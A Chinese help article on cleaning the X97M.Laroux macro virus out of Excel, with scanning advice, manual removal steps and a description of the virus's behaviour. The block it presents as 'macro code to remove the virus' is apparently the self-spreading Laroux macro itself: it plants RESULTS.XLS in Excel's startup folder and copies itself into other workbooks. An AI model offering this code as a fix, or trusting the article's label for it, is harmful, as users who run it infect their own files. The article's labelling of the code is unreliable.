EXCEL中宏毒X97M.Laroux.DX1的解决办法

        一般来说，EXCEL是不容易中毒的，要中毒的话，就会中宏代码的毒。如果您的EXCEL中了X97M.Laroux.DX1的毒，请使用如下的方法来解决。

        一、常规方法

        使用杀毒软件扫描全盘文件，然后，进入安全模式再删除相应文件即可。

        二、使用EXCEL来解决

        ①禁止宏运行

        将EXCEL的安全级别设置为最高，这样，X97M.Laroux.DX1宏就不能运行了。之后，打开EXCEL，将宏删除即可。

        删除方法为：工具→宏→宏→删除。

        ②使用宏代码删除此毒

        删除X97M.Laroux.DX1宏毒的宏代码如下：

　　Sub auto_open()
    Application.OnSheetActivate = "ck_files"
End Sub

Sub ck_files()
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "RESULTS.XLS")
    If m$ = "RESULTS.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
   
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("results").Visible = True
    Sheets("results").Select
    Sheets("results").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("results").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "results" Then
        Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("results").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case Else
End Select
End Sub

 

        三、最近很多网友发帖求助，打开EXCEL后360跳出杀毒X97M.laroux.DX1，接着EXCEL运行就非常慢，而且打开后不会出现空白工作表，需要手动点击新建，ALT+F11查看文件内自动增加了一个RESULTS模块。

Macro.Excel.Laroux.cs恶意程序
病毒类型：宏病毒
病毒行为：
1. 将工作表的激活事件指定为“ck_files”。
2. 在 Excel 的启动目录下生成“RESULTS.XLS”文件并隐藏地打开以便调用其“ck_files”函数。
3. 在打开的原来已包含宏代码的Excel文件时，插入一个Results模块。

解决方法：
打开有问题的Excel文件，ALT+F11进入VBE编辑框，直接删除模块内的Results，然后按以下操作：
windows xp用户从以下目录进入：
C:\Documents and Settings\你的用户名\Application Data\Microsoft\Excel\XLSTART
windows7用户从以下目录进入：
C:\Users\Administrator\AppData\Roaming\Microsoft\Excel\XLSTART
进入后直接删除RESULTS.XLS文件即可。